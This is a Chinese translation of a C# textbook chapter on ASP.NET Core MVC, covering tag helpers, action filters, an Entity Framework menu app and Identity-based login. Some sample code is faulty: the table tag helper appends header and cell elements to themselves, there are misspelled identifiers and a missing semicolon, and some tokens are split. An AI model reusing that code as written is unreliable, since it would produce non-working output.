标记辅助程序的核心是方法Process。这个方法需要创建辅助程序返回的HTML代码。 通过方法Process的参数,接收一个TagHelperContext。这个上下文包含应用了标记辅助程 序的HTML元素和所有子元素的特性。对于表元素,行和列可能已经定义,可以合并该结 果与现有的内容。在示例中,这被忽略了,只是把特性放在结果中。结果需要写入第二个 参数:TagHelperOutput对象。为了创建HTML代码,使用TagBuilder类型。TagBuilder帮助 通过特性创建HTML元素,它还处理元素的关闭。为了给TagBuilder添加特性,使用 MergeAttributes方法。这个方法需要一个包含所有特性名称和值的字典。这个字典使用 LINQ扩展方法ToDictionary创建。在Where方法中,提取表元素所有已有的特性,但items 特性除外。items特性用于通过标记辅助程序定义项,但以后在客户端不需要它: public override void Process(TagHelperContext context, TagHelperOutput output ) { TagBuilder table = new TagBuilder("table"); table.GenerateId(context.UniqueId, "id"); var attributes = context.AllAttributes .Where(a => a.Name ! = ItemsAttributeName).ToDictionary(a => a.Name); table.MergeAttributes(attributes); // etc. }  注意: 如果需要在标记辅助程序的实现代码中调用异步方法,可以重写 ProcessAsync方法而不是Process方法。  注意: LINQ参见第13章。 接下来,创建表中的第一行。这一行包含一个tr元素,作为table元素的子元素,它还 为每个属性包含td元素。为了获得所有的属性名,调用First方法,检索集合的第一个对 象。使用反射访问该实例的属性,调用Type对象上的GetProperties方法,把属性的名称写 入HTML元素th的内部文本: // etc. var tr = new TagBuilder("tr"); var heading = Items.First(); PropertyInfo[] properties = heading.GetType().GetProperties(); foreach (var prop in properties) { var th = new TagBuilder("th"); th.InnerHtml.Append(prop.Name); th.InnerHtml.AppendHtml(th); } table.InnerHtml.AppendHtml(tr); // etc.  注意: 反射参见第16章。 Process方法的最后一部分遍历集合的所有项,为每一项创建更多的行(tr)。对于每 个属性,添加td元素,属性的值写入为内部文本。最后,把所建table元素的内部HTML代 码写到输出: foreach (var item in Items) { tr = new TagBuilder("tr"); foreach (var prop in properties) { var td = new TagBuilder("td"); td.InnerHtml.Append(prop.GetValue(item).ToString()); td.InnerHtml.AppendHtml(td); } table.InnerHtml.AppendHtml(tr); } output.Content.Append(table.InnerHtml); 在创建标记辅助程序之后,创建视图就变得非常简单。定义了模型后,传递程序集的 名称,通过addTagHelper引用标记辅助程序。使用特性items定义一个HTML表时,实例化 标记辅助程序本身(代码文件MVCSampleApp/Views/TagHelpers/CustomHelper.cshtml): @model IEnumerable<Menu> @addTagHelper "*, MVCSampleApp" <table items="Model" class="sample"></table> 运行应用程序时,表应该如图41-12所示。创建了标记辅助程序后,使用起来很简 单。使用CSS定义的所有格式仍适用,因为定义的HTML表的所有特性仍在生成的HTML 输出中。 图41-12 41.8 实现动作过滤器 ASP.NET MVC在很多方面都可以扩展。可以实现控制器工厂,以搜索和实例化控制 器(接口IControllerFactory)。控制器实现了IController接口。使用IActionInvoker接口可 以找出控制器中的动作方法。使用派生自ActionMethodSelectorAttribute的特性类可以定义 允许的HTTP方法。通过实现IModelBinder接口,可以定制将HTTP请求映射到参数的模型 绑定器。在41.5.1节中,使用过FormCollectionModelBinder类型。有实现了IviewEngine接 口的不同视图引擎可供使用。在本章中,使用了Razor视图引擎。使用HTML Helper、标 记辅助程序和动作过滤器也可以实现自定义。大多数可以扩展的地方都不在本书讨论范围 内,但是由于很可能需要实现或使用动作过滤器,所以下面就加以讨论。 在动作执行之前和之后,都会调用动作过滤器。使用特性可把它们分配给控制器或控 制器的动作方法。通过创建派生自基类ActionFilterAttribute的类,可以实现动作过滤器。 在这个类中,可以重写基类成员OnActionExecuting、OnActionExecuted、 OnResultExecuting和OnResultExecuted。OnActionExecuting在动作方法调用之前调用, OnActionExecuted在动作方法完成之后调用。之后,在返回结果前,调用 OnResultExecuting方法,最后调用OnResultExecuted方法。 在这些方法内,可以访问Request对象来检索调用者信息。然后根据浏览器决定执行 某些操作、访问路由信息、动态修改视图结果等。下面的代码段访问路由信息中的变量 language。为把此变量添加到路由中,可以把路由修改为如41.2节所示。用路由信息添加 language变量后,可以使用RouteData.Values访问URL中提供的值,如下面的代码段所示。 可以根据得到的值,为用户修改区域性: public class LanguageAttribute : ActionFilterAttribute { private string _language = null; public override void OnActionExecuting(ActionExecutingContext filterContext ) { _language = filterContext.RouteData.Values["language"] == null ? null : filterContext.RouteData.Values["language"].ToString(); //… } public override void OnResultExecuting(ResultExecutingContext filterContext ) { } }  注意: 第28章讨论了全球化和本地化、区域性设置及其他区域信息。 使用创建的动作过滤器特性类,可以把该特性应用到一个控制器,如下面的代码段所 示。对类应用特性后,在调用每个动作方法时,都会调用特性类的成员。另外,也可以把 特性应用到一个动作方法,此时只有调用该动作方法时才会调用特性类的成员。 [Language] public class HomeController : Controller { ActionFilterAttribute实现了几个接口:IActionFilter、IAsyncActionFilter、 IResultFilter、IAsyncResultFilter、IFilter和IOrderedFilter。 ASP.NET MVC包含一些预定义的动作过滤器,例如需要HTTPS、授权调用程序、处 理错误或缓存数据的过滤器。 使用特性Authorize的内容参见本章后面的41.10节。 41.9 创建数据驱动的应用程序 在讨论完ASP.NET MVC的基础知识后,创建一个使用ADO.NET Entity Framework的 数据驱动的应用程序。该应用程序使用了ASP.NET MVC提供的功能和数据访问功能。  注意: 第38章详细讨论了ADO.NET Entity Framework。 示例应用程序MenuPlanner用于维护数据库中存储的饭店菜单条目。数据库条目的维 护只应该由经过身份验证的账户完成。但是,未经身份验证的用户应该能够浏览菜单。 这个项目首先选择ASP.NET Core 1.0 Web Application模板。对于身份验证,选择默认 选项Individual User Accounts。这个项目模板给ASP.NET MVC和控制器添加了几个文件 夹,包括HomeController、AccountController。另外还添加了几个脚本库。 41.9.1 定义模型 首先在Models目录中定义一个模型。该模型使用ADO.NET Entity Framework创建。 MenuCard类型定义了一些属性和与一组菜单的关系(代码文件 MenuPlanner/Models/MenuCard.cs): public class MenuCard { public int Id { get; set; } [MaxLength(50)] public string Name { get; set; } public bool Active { get; set; } public int Order { get; set; } public virtual List<Menu> Menus { get; set; } } 在MenuCard中引用的菜单类型由Menu类定义(代码文件 MenuPlanner/Models/Menu.cs): public class Menu { public int Id { get; set; } public string Text { get; set; } public decimal Price { get; set; } public bool Active { get; set; } public int Order { get; set; } public string Type { get; set; } public DateTime Day { get; set; } public int MenuCardId { get; set; } public virtual MenuCard MenuCard { get; set; } } 数据库连接以及Menu和MenuCard类型的设置由MenuCardsContext管理。上下文使用 ModelBuilder指定Menu类型的Text属性不能是null,其最大长度是50(代码文件 MenuPlanner/Models/MenuCardsContext.cs): public class MenuCardsContext : DbContext { public DbSet<Menu> Menus { get; set; } public DbSet<MenuCard> MenuCards { get; set; } protected override void OnModelCreating(ModelBuilder modelBuilder) { modelBuilder.Entity<Menu>().Property(p => p.Text) .HasMaxLength(50).IsRequired(); base.OnModelCreating(modelBuilder); } } Web应用程序的启动代码定义了MenuCardsContext,用作数据上下文,从配置文件中 读取连接字符串(代码文件MenuPlanner/Startup.cs): public IConfiguration Configuration { get; set; } public void ConfigureServices(IServiceCollection services) { // Add Entity Framework services to the services container. services.AddEntityFramework() .AddSqlServer() .AddDbContext<ApplicationDbContext>(options => options.UseSqlServer( Configuration["Data:DefaultConnection:ConnectionString"])) .AddDbContext<MenuCardsContext>(options => options.UseSqlServer( Configuration["Data:MenuCardConnection:ConnectionString"])); // etc. } 在配置文件中,添加MenuCardConnection连接字符串。这个连接字符串引用Visual Studio 2015附带的SQL实例。当然,也可以改变它,把这个连接字符串添加到SQL Azure 中(代码文件MenuPlanner/appsettings.json): { "Data": { "DefaultConnection": { "ConnectionString": "Server=(localdb)\\mssqllocaldb; Database=aspnet5-MenuPlanner-4d3d9092-b53f-4162-8627-f360ef6b2aa8; Trusted_Connection=True; MultipleActiveResultSets=true" }, "MenuCardConnection": { "ConnectionString": "Server=(localdb)\\mssqllocaldb; Database=MenuCards; Trusted_Connection=True; MultipleActiveResultSets=true" } }, // etc. } 41.9.2 创建数据库 可以使用Entity Framework命令创建代码来创建数据库。在命令提示符中,使用.NET Core Command Line (CLI)和ef命令创建代码,来自动创建数据库。使用命令提示符 时,必须把当前文件夹设置为project.json文件所在的目录: >dotnet ef migrations add InitMenuCards --context MenuCardsContext  注意: dotnet工具参见第1章和第17章。 因为这个项目定义了多个数据上下文(MenuCardsContext和ApplicationDbContext), 所以需要用--context指定数据上下文。ef命令在项目结构中创建一个Migrations文件夹, InitMenuCards类使用Up方法来创建数据库表,使用Down方法再次删除更改(代码文件 MenuPlanner/Migrations/[date]InitMenuCards.cs): public partial class InitMenuCards : Migration { public override void Up(MigrationBuilder migrationBuilder) { migrationBuilder.CreateTable( name: "MenuCard", columns: table => new { Id = table.Column<int>(nullable: false) .Annotation("SqlServer:ValueGenerationStrategy", SqlServerValueGenerationStrategy.IdentityColumn), Active = table.Column<bool>(nullable: false), Name = table.Column<string>(nullable: true), Order = table.Column<int>(nullable: false) }, constraints: table => { table.PrimaryKey("PK_MenuCard", x => x.Id); }); migrationBuilder.CreateTable( name: "Menu", columns: table => new { Id = table.Column<int>(nullable: false) .Annotation("SqlServer:ValueGenerationStrategy", SqlServerValueGenerationStrategy.IdentityColumn), Active = table.Column<bool>(nullable: false), Day = table.Column<DateTime>(nullable: false), MenuCardId = table.Column<int>(nullable: false), Order = table.Column<int>(nullable: false), Price = table.Column<decimal>(nullable: false), Text = table.Column<string>(nullable: false), Type = table.Column<string>(nullable: true) }, constraints: table => { table.PrimaryKey("PK_Menu", x => x.Id); table.ForeignKey( name: "FK_Menu_MenuCard_MenuCardId", column: x => x.MenuCardId, principalTable: "MenuCard", principalColumn: "Id", onDelete: RefeerentialAction.Cascade); }); } public override void Down(MigrationBuilder migration) { migration.DropTable("Menu"); migration.DropTable("MenuCard"); } } 现在只需要一些代码来启动迁移过程,用最初的样本数据填充数据库。 MenuCardDatabase-Initializer在Database属性返回的DatabaseFacade对象上调用扩展方法 MigrateAsync,应用迁移过程。这又反过来检查与连接字符串关联的数据库版本是否与迁 移指定的数据库相同。如果版本不同,就需要调用Up方法得到相同的版本。此外,创建 一些MenuCard对象,存储在数据库中(代码文件 MenuPlanner/Models/MenuCardDatabaseInitializer.cs): using Microsoft.EntityFrameworkCore; using System.Linq; using System.Threading.Tasks; namespace MenuPlanner.Models { public class MenuCardDatabaseInitializer { private static bool _databaseChecked = false; public MenuCardDatabaseInitializer(MenuCardsContext context) { _context = context; } private MenuCardsContext _context; public async Task CreateAndSeedDatabaseAsync() { if (! _databaseChecked) { _databaseChecked = true; await _context.Database.MigrateAsync(); if (_context.MenuCards.Count() == 0) { _context.MenuCards.Add( new MenuCard { Name = "Breakfast", Active = true, Order = 1 }); _context.MenuCards.Add( new MenuCard { Name = "Vegetarian", Active = true, Order = 2 }); _context.MenuCards.Add( new MenuCard { Name = "Steaks", Active = true, Order = 3 }); } await _context.SaveChangesAsync(); } } } } 有了数据库和模型,就可以创建服务了。 41.9.3 创建服务 在创建服务之前,创建了接口IMenuCardsService,它定义了服务所需的所有方法(代 码文件MenuPlanner/Services/IMenuCardsService.cs): using MenuPlanner.Models; using System.Collections.Generic; using System.Threading.Tasks; namespace MenuPlanner.Services { public interface IMenuCardsService { Task AddMenuAsync(Menu menu); Task DeleteMenuAsync(int id); Task<Menu> GetMenuByIdAsync(int id); Task<IEnumerable<Menu>> GetMenusAsync(); Task<IEnumerable<MenuCard>> GetMenuCardsAsync(); Task UpdateMenuAsync(Menu menu); } } 服务类MenuCardsService实现了返回菜单和菜单卡的方法,并创建、更新和删除菜单 (代码文件MenuPlanner/Services/MenuCardsService.cs): using MenuPlanner.Models; using Microsoft.EntityFrameworkCore using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace MenuPlanner.Services { public class MenuCardsService : IMenuCardsService { private MenuCardsContext _menuCardsContext; public MenuCardsService(MenuCardsContext menuCardsContext) { _menuCardsContext = menuCardsContext; } public async Task<IEnumerable<Menu>> GetMenusAsync() { await EnsureDatabaseCreated(); var menus = _menuCardsContext.Menus.Include(m => m.MenuCard); return await menus.ToArrayAsync(); } public async Task<IEnumerable<MenuCard>> GetMenuCardsAsync() { await EnsureDatabaseCreated(); var menuCards = _menuCardsContext.MenuCards; return await menuCards.ToArrayAsync(); } public async Task<Menu> GetMenuByIdAsync(int id) { return await _menuCardsContext.Menus.SingleOrDefaultAsync( m => m.Id == id); } public async Task AddMenuAsync(Menu menu) { _menuCardsContext.Menus.Add(menu); await _menuCardsContext.SaveChangesAsync(); } public async Task UpdateMenuAsync(Menu menu) { _menuCardsContext.Entry(menu).State = EntityState.Modified; await _menuCardsContext.SaveChangesAsync(); } public async Task DeleteMenuAsync(int id) { Menu menu = _menuCardsContext.Menus.Single(m => m.Id == id); _menuCardsContext.Menus.Remove(menu); await _menuCardsContext.SaveChangesAsync(); } private async Task EnsureDatabaseCreated() { var init = new MenuCardDatabaseInitializer(_menuCardsContext); await init.CreateAndSeedDatabaseAsync(); } } } 为了使服务可用于依赖注入,使用AddScoped方法在服务集合中注册服务(代码文件 MenuPlanner/Startup.cs): public void ConfigureServices(IServiceCollection services) { // etc. services.AddScoped<IMenuCardsService, MenuCardsService>(); // etc. } 41.9.4 创建控制器 ASP.NET MVC提供搭建功能来创建控制器,以直接访问数据库。为此,可以在 Solution Explorer中选择Controllers文件夹,并从上下文菜单中选择Add | Controller。打开 Add Scaffold对话框。在该对话框中,可以使用Entity Framework选择MVC 6 Controller视 图。单击Add按钮,打开Add Controller对话框,如图41-13所示。使用此对话框,可以选 择Menu模型类和Entity Framework数据上下文MenuCardsContext,配置为生成视图,给控 制器指定一个名称。用视图创建控制器,查看生成的代码,包括视图。 图41-13 图书示例不直接在控制器中使用数据上下文,而是把一个服务放在其中。这样做提供 了更多的灵活性。可以在不同的控制器中使用服务,还可以在服务中使用服务,如 ASP.NET Web API。  注意: ASP.NET Web API参见第42章。 在下面的示例代码中,ASP.NET MVC控制器通过构造函数注入来注入菜单卡服务 (代码文件MenuPlanner/Controllers/MenuAdminController.cs): public class MenuAdminController : Controller { private readonly IMenuCardsService _service; public MenuAdminController(IMenuCardsService service) { _service = service; } // etc. } 只有当控制器通过URL来引用而没有传递动作方法时,才默认调用Index方法。这 里,会创建数据库中所有的Menu项,并传递到Index视图。Details方法传递在服务中找到 的菜单,返回Details视图。注意错误处理。在没有把ID传递给Details方法时,使用基类的 HttpBadRequest方法返回HTTP Bad Request错误(400错误响应)。如果在数据库中没有找 到菜单ID,就通过HttpNotFound方法返回HTTP Not Found错误(404错误响应): public async Task<IActionResult> Index() { return View(await _service.GetMenusAsync()); } public async Task<IActionResult> Details(int? id = 0) { if (id == null) { return HttpBadRequest(); } Menu menu = await _service.GetMenuByIdAsync(id.Value); if (menu == null) { return HttpNotFound(); } return View(menu); } 用户创建新菜单时,在收到客户端的HTTP GET请求后,会调用第一个Create方法。 在这个方法中,把ViewBag信息传递给视图。这个ViewBag包含SelectList中菜单卡的信 息。SelectList允许用户选择一项。因为MenuCard集合被传递给SelectList,所以用户可以 选择一个带有新建菜单的菜单卡。 public async Task<IActionResult> Create() { IEnumerable<MenuCard> cards = await _service.GetMenuCardsAsync(); ViewBag.MenuCardId = new SelectList(cards, "Id", "Name"); return View(); }  注意: 要使用SelectList类型,必须给项目添加NuGet包Microsoft.AspNet.Mvc. ViewFeatures。 在用户填写表单并把带有新菜单的表单提交到服务器时,在HTTP POST请求中调用 第二个Create方法。这个方法使用模型绑定,把表单数据传递给Menu对象,并将Menu对 象添加到数据上下文中,向数据库写入新创建的菜单: [HttpPost] [ValidateAntiForgeryToken] public async Task<ActionResult> Create( [Bind("Id", "MenuCardId", "Text", "Price", "Active", "Order", "Type", "Day" )] Menu menu) { if (ModelState.IsValid) { await _service.AddMenuAsync(menu); return RedirectToAction("Index"); } IEnumerable<MenuCard> cards = await _service.GetMenuCardsAsync(); ViewBag.MenuCards = new SelectList(cards, "Id", "Name"); return View(menu); } 为了编辑菜单卡,定义了两种动作方法Edit,一个用于GET请求,另一个用于POST 请求。第一个Edit方法返回一个菜单项;第二个Edit方法在模型绑定成功后调用服务的 UpdateMenuAsync方法: public async Task<IActionResult> Edit(int? id) { if (id == null) { return HttpBadRequest(); } Menu menu = await _service.GetMenuByIdAsync(id.Value); if (menu == null) { return HttpNotFound(); } IEnumerable<MenuCard> cards = await _service.GetMenuCardsAsync(); ViewBag.MenuCards = new SelectList(cards, "Id", "Name", menu.MenuCardId); return View(menu); } [HttpPost] [ValidateAntiForgeryToken] public async Task<IActionResult> Edit( [Bind("Id", "MenuCardId", "Text", "Price", "Order", "Type", "Day")] Menu menu) { if (ModelState.IsValid) { await _service.UpdateMenuAsync(menu); return RedirectToAction("Index"); } IEnumerable<MenuCard> cards = await _service.GetMenuCardsAsync(); ViewBag.MenuCards = new SelectList(cards, "Id", "Name", menu.MenuCardId); return View(menu); } 控制器的实现的最后一部分包括Delete方法。因为这两个方法有相同的参数(这在C# 中是不可能的),所以第二个方法的名称是DeleteConfirmed。第二个方法可以在第一个 Delete方法所在的URL链接中访问,但是它用HTTP POST访问,而不是用ActionName特性 的GET。该方法调用服务的DeleteMenuAsync方法: public async Task<IActionResult> Delete(int? id) { if (id == null) { return HttpBadRequest(); } Menu menu = await _service.GetMenuByIdAsync(id.Value); if (menu == null) { return HttpNotFound(); } return View(menu); } [HttpPost, ActionName("Delete")] [ValidateAntiForgeryToken] public async Task<IActionResult> DeleteConfirmed(int id) { Menu menu = await _service.GetMenuByIdAsync(id); await _service.DeleteMenuAsync(menu.Id); return RedirectToAction("Index"); } 41.9.5 创建视图 现在该创建视图了。视图在文件夹Views/MenuAdmin中创建。要创建视图,可以在 Solution Explorer中选择MenuAdmin文件夹,并从上下文菜单中选择Add | View。这将打开 Add View对话框,如图41-14所示。使用此对话框可以选择List、Details、Create、Edit、 Delete模板,安排相应的HTML元素。在这个对话框中选择的Model类定义了视图基于的 模型。 图41-14 Index视图定义了一个HTML表,它把Menu集合作为模型。对于表头元素,使用带有 Tag Helper asp-for的HTML元素标签来访问用于显示的属性名称。为了显示项,菜单集合 使用@foreach迭代,每个属性值用输入元素的标记辅助程序来访问。锚元素的标记辅助程 序为Edit、Details和Delete页面创建链接(代码文件 MenuPlanner/Views/MenuAdmin/Index.cshtml): @model IList<MenuPlanner.Models.Menu> @{ ViewBag.Title = "Index"; } <h2>@ViewBag.Title</h2> <p> <a asp-action="Create">Create New</a> </p> @if (Model.Count() > 0) { <table> <tr> <th> <label asp-for="@Model[0].MenuCard.Item"></label> </th> <th> <label asp-for="@Model[0].Text"></label> </th> <th> <label asp-for="Model[0].Day"></label> </th> </tr> @foreach (var item in Model) { <tr> <td> <input asp-for="@item.MenuCard.Name" readonly="readonly" disabled="disabled" /> </td> <td> <input asp-for="@item.Text" readonly="readonly" disabled="disabled" /> </td> <td> <input asp-for="@item.Day" asp-format="{0:yyyy-MM-dd}" readonly="readonly" disabled="disabled" /> </td> <td> <a asp-action="Edit" asp-route-id="@item.Id">Edit</a> <a asp-action="Details" asp-route-id="@item.Id">Details</a> <a asp-action="Delete" asp-route-id="@item.Id">Delete</a> </td> </tr> } </table> } 在MenuPlanner项目中,MenuAdmin控制器的第二个视图是Create视图。HTML表单使 用asp-action标记辅助程序来引用控制器的Create动作方法。用asp-controller辅助程序引用 控制器不是必要的,因为动作方法与视图位于相同的控制器中。表单内容使用标签和输入 元素的标记辅助程序建立。标签的asp-for辅助程序返回属性的名称;输入元素的asp-for辅 助程序返回其值(代码文件MenuPlanner/Views/MenuAdmin/Create.cshtml): @model MenuPlanner.Models.Menu @{ ViewBag.Title = "Create"; } <h2>@ViewBag.Title</h2> <form asp-action="Create" method="post"> <div class="form-horizontal"> <h4>Menu</h4> <hr /> <div asp-validation-summary="ValidationSummary.All" style="color:blue " id="FileName_validation_day" class="form-group"> <span style="color:red">Some error occurred</span> </div> <div class="form-group"> <label asp-for="@Model.MenuCardId" class="control-label col-md2"></la bel> <div class="col-md-10"> <select asp-for="@(Model.MenuCardId)" asp-items="@((IEnumerable<SelectListItem>)ViewBag.MenuCards)" size="2" class="form-control"> <option value="" selected="selected">Select a menu card</option> </select> </div> </div> <div class="form-group"> <label asp-for="Text" class="control-label col-md-2"></label> <div class="col-md-10"> <input asp-for="Text" /> </div> </div> <div class="form-group"> <label asp-for="Price" class="control-label col-md-2"></label> <div class="col-md-10"> <input asp-for="Price" /> <span asp-validation-for="Price">Price of the menu</span> </div> </div> <div class="form-group"> <label asp-for="Day" class="control-label col-md-2"></label> <div class="col-md-10"> <input asp-for="Day" /> <span asp-validation-for="Day">Date of the menu</span> </div> </div> <div class="form-group"> <div class="col-md-offset-2 col-md-10"> <input type="submit" value="Create" class="btn btn-default" /> </div> </div> </div> </form> <a asp-action="Index">Back</a> 其他视图的创建与前面所示的视图类似,因此这里不作介绍。只需要从可下载的代码 中获得视图即可。 现在可以使用应用程序在现有的菜单卡中添加和编辑菜单。 41.10 实现身份验证和授权 身份验证和授权是Web应用程序的重要方面。如果网站或其中一部分不应公开,那么 用户就必须获得授权。对于用户的身份验证,在创建ASP.NET Web应用程序时可以使用 不同的选项(参见图41-15):No Authentication、Individual User Accounts、Work And School Accounts。Windows Authentication选项不可用于ASP .NET Core 1。 图41-15 对于Work And School Accounts,可以从云中选择Active Directory,进行身份验证。 使用Individual User Accounts时,可以在一个SQL Server数据库中存储用户配置文 件。用户可以注册和登录,也可以使用Facebook、Twitter、Google和Microsoft中现有的账 户。 41.10.1 存储和检索用户信息 为了管理用户,需要把用户信息添加到库中。IdentityUser类型(名称空间 Microsoft.AspNet.Identity. EntityFramework)定义了一个名称,列出了角色、登录名和声 明。用来创建MenuPlanner应用程序的Visual Studio模板创建了一些明显的代码来保存用 户:类ApplicationUser是项目的一部分,派生自基类IdentityUser(名称空间 Microsoft.AspNet.Identity.EntityFramework)。ApplicationUser默认为空,但是可以添加需 要的用户信息,这些信息存储在数据库中(代码文件 MenuPlanner/Models/IdentityModels.cs): public class ApplicationUser : IdentityUser { } 数据库连接通过IdentityDbContext<TUser>类型建立。这是一个泛型类,派生于 DbContext,因此使用了Entity Framework。IdentityDbContext<TUser>类型定义了 IDbSet<TEntity>类型的Roles和Users属性。IDbSet<TEntity>类型定义了到数据库表的映 射。为了方便起见,创建ApplicationDbContext,把ApplicationUser类型定义为 IdentityDbContext类的泛型类型: public class ApplicationDbContext : IdentityDbContext<ApplicationUser> { protected override void OnModelCreating(ModelBuilder builder) { base.OnModelCreating(builder); } } 41.10.2 启动身份系统 数据库连接通过启动代码中的依赖注入服务集合来注册。类似于前面创建的 MenuCardsContext, ApplicationDbContext被配置为使用SQL Server和config文件中的连接字 符串。身份服务本身使用扩展方法AddIdentity注册。AddIdentity方法映射身份服务所使用 的用户和角色类的类型。类ApplicationUser是前面提到的源自IdentityUser的类; IdentityRole是基于字符串的角色类,派生自IdentityRole<string>。AddIdentity方法的重载 版本允许的配置身份系统的方式有双因素身份验证;电子邮件令牌提供程序;用户选项, 如需要唯一的电子邮件;或者正则表达式,要求用户名匹配。AddIdentity返回一个 IdentityBuilder,允许对身份系统进行额外的配置,如使用的实体框架上下文 (AddEntityFrameworkStores)和令牌提供程序(AddDefaultTokenProviders)。可以添加 的其他提供程序则用于错误、密码验证器、角色管理器、用户管理器和用户验证器(代码 文件MenuPlanner/Startup.cs): public void ConfigureServices(IServiceCollection services) { services.AddEntityFramework() .AddSqlServer() .AddDbContext<ApplicationDbContext>(options => options.UseSqlServer( Configuration["Data:DefaultConnection:ConnectionString"])) .AddDbContext<MenuCardsContext>(options => options.UseSqlServer( Configuration["Data:MenuCardConnection:ConnectionString"])); services.AddIdentity<ApplicationUser, IdentityRole>() .AddEntityFrameworkStores<ApplicationDbContext>() .AddDefaultTokenProviders(); services.Configure<FacebookAuthenticationOptions>(options => { options.AppId = Configuration["Authentication:Facebook:AppId"]; options.AppSecret = Configuration["Authentication:Facebook:AppSecret"]; }); services.Configure<MicrosoftAccountAuthenticationOptions>(options => { options.ClientId = Configuration["Authentication:MicrosoftAccount:ClientId"]; options.ClientSecret = Configuration["Authentication:MicrosoftAccount:ClientSecret"]; }); // etc. } 41.10.3 执行用户注册 现在进入为注册用户而生成的代码。功能的核心在AccountController类中。控制器类 应用了Authorize特性,它将所有的动作方法限制为通过身份验证的用户。构造函数接收一 个用户管理器、登录管理器和通过依赖注入的数据库上下文。电子邮件和SMS发送方用于 双因素身份验证。如果没有实现生成代码中的空AuthMessageSender类,就可以删除 IEmailSender和ISmsSender的注入(代码文件 MenuPlanner/Controllers/AccountController.cs): [Authorize] public class AccountController : Controller { private readonly UserManager<ApplicationUser> _userManager; private readonly SignInManager<ApplicationUser> _signInManager; private readonly IEmailSender _emailSender; private readonly ISmsSender _smsSender; private readonly ApplicationDbContext _applicationDbContext; private static bool _databaseChecked; public AccountController( UserManager<ApplicationUser> userManager, SignInManager<ApplicationUser> signInManager, IEmailSender emailSender, ISmsSender smsSender, ApplicationDbContext applicationDbContext) { _userManager = userManager; _signInManager = signInManager; _emailSender = emailSender; _smsSender = smsSender; _applicationDbContext = applicationDbContext; } 要注册用户,应定义RegisterViewModel。这个模型定义了用户在注册时需要输入什 么数据。在生成的代码中,这个模型只需要电子邮件、密码和确认密码(必须与密码相 同)。如果想获得更多的用户信息,可以根据需要添加属性(代码文件 MenuPlanner/Models/AccountViewModels.cs): public class RegisterViewModel { [Required] [EmailAddress] [Display(Name = "Email")] public string Email { get; set; } [Required] [StringLength(100, ErrorMessage = "The {0} must be at least {2} characters long.", MinimumLength = 6)] [DataType(DataType.Password)] [Display(Name = "Password")] public string Password { get; set; } [DataType(DataType.Password)] [Display(Name = "Confirm password")] [Compare("Password", ErrorMessage = "The password and confirmation password do not match.")] public string ConfirmPassword { get; set; } } 用户注册对于未经过身份验证的用户也必须可用。这就是为什么AllowAnonymous特 性应用于AccountController的Register方法的原因。这会否决这些方法的Authorize特性。 Register方法的HTTP POST变体接收RegisterViewModel对象,通过调用方法 _userManager.CreateAsync把ApplicationUser写入数据库。用户成功创建后,通过 _signInManager.SignInAsync登录(代码文件 MenuPlanner/Controllers/AccountController.cs): [HttpGet] [AllowAnonymous] public IActionResult Register() { return View(); } [HttpPost] [AllowAnonymous] [ValidateAntiForgeryToken] public async Task<IActionResult> Register(RegisterViewModel model) { EnsureDatabaseCreated(_applicationDbContext); if (ModelState.IsValid) { var user = new ApplicationUser { UserName = model.Email, Email = model.Email }; var result = await _userManager.CreateAsync(user, model.Password); if (result.Succeeded) { await _signInManager.SignInAsync(user, isPersistent: false); return RedirectToAction(nameof(HomeController.Index), "Home"); } AddErrors(result); } // If we got this far, something failed, redisplay form return View(model); } 现在视图(代码文件MenuPlanner/Views/Account/Register.cshtml)只需要用户的信 息。图41-16显示要求用户提供信息的对话框。 图41-16 41.10.4 设置用户登录 用户注册时,在注册成功后,会直接开始登录。LoginViewModel模型定义了 UserName、Password和RememberMe属性——用户登录时要求提供的信息。这个模型有一 些注解与HTML辅助程序一起使用(代码文件 MenuPlanner/Models/AccountViewModels.cs): public class LoginViewModel { [Required] [EmailAddress] public string Email { get; set; } [Required] [DataType(DataType.Password)] public string Password { get; set; } [Display(Name = "Remember me? ")] public bool RememberMe { get; set; } } 为了登录已注册的用户,需要调用AccountController的Login方法。用户输入登录信息 后,就使用登录管理器通过PasswordSignInAsync验证登录信息。如果登录成功,用户就 重定向到最初请求的页面。如果登录失败了,会返回同样的视图,再给用户提供一个选 项,以正确输入用户名和密码(代码文件 MenuPlanner/Controllers/AccountController.cs): [HttpGet] [AllowAnonymous] public IActionResult Login(string returnUrl = null) { ViewData["ReturnUrl"] = returnUrl; return View(); } [HttpPost] [AllowAnonymous] [ValidateAntiForgeryToken] public async Task<IActionResult> Login(LoginViewModel model, string returnUrl = null) { EnsureDatabaseCreated(_applicationDbContext); ViewData["ReturnUrl"] = returnUrl; if (ModelState.IsValid) { var result = await _signInManager.PasswordSignInAsync( model.Email, model.Password, model.RememberMe, lockoutOnFailure: fals e); if (result.Succeeded) { return RedirectToLocal(returnUrl); } if (result.RequiresTwoFactor) { return RedirectToAction(nameof(SendCode), new { ReturnUrl = returnUrl, RememberMe = model.RememberMe }); } if (result.IsLockedOut) { return View("Lockout"); } else { ModelState.AddModelError(string.Empty, "Invalid login attempt."); return View(model); } } return View(model); } 41.10.5 验证用户的身份 有了身份验证的基础设施,就很容易使用Authorize特性注解控制器或动作方法,要求 用户进行身份验证。把这个特性应用到类上需要为类的每一个动作方法指定角色。如果不 同的动作方法有不同的授权要求,Authorize特性也可以应用于动作方法。使用这个特性, 会验证调用者是否已经获得授权(检查授权cookie)。如果调用者还没有获得授权,就返 回一个401 HTTP状态代码,并重定向到登录动作。 应用特性Authorize时如果没有设置参数,那么就需要用户通过身份验证。为了拥有更 多的控制,可以把角色赋予Roles属性,指定只有特定的用户角色才可以访问动作方法, 如下面的代码段所示: [Authorize(Roles="Menu Admins")] public class MenuAdminController : Controller { 还可以使用Controller基类的User属性访问用户信息,允许更动态地批准或拒绝用户。 例如,根据传递的参数值,要求不同的角色。  注意: 用户身份验证和其他安全信息参见第24章。 41.11 小结 本章介绍了一种使用ASP.NET MVC 6框架的最新Web技术。这提供了一个健壮的结 构,非常适合需要恰当地进行单元测试的大型应用程序。通过本章可以看到,使用 ASP.NET MVC 6时,提供高级功能十分简单,其逻辑结构和功能的分离使代码很容易理 解和维护。 下一章继续讨论ASP.NET Core,但重点是以ASP.NET Web API的形式与服务通信。 第42章 ASP.NET Web API 本章要点 ● ASP.NET Web API概述 ● 创建Web API控制器 ● 使用存储库和依赖注入 ● 调用REST API创建.NET客户端 ● 在服务中使用Entity Framework ● 使用Swagger创建元数据 ● 使用OData 本章源代码下载地址(wrox.com): 打开网页http://www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可 